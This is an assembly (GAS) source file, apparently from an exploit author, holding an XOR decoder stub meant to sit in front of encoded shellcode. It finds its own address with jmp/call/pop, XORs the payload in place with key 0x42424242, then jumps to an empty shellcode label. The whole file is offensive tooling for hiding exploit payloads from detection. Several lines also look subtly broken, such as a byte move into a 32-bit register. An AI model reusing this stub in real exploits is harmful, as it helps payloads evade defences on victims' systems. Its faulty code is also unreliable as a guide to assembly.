#  K2,
#  XOR DECODE (gas)
#  I UESD TO CODE INTEL ASM AND WE DID SHIT IN ALL CAPS
#  USES: esi,ebx,ecx

        .text
        .globl  _start
_start:
main:    
	push 0x1
	pop  %eax
	add  %eax,%esi
	 jmp  down
back:    popl %esi
         movl $0x42424242,%ebx
         xorl %ecx,%ecx
         movb $0x42,%ecx
decode:  xorl %ebx,(%esi)
         #addw $4,%si
         inc  %esi
         inc  %esi
         inc  %esi
         inc  %esi
         loop decode
         jmp  shellcode
down:    call back
shellcode:
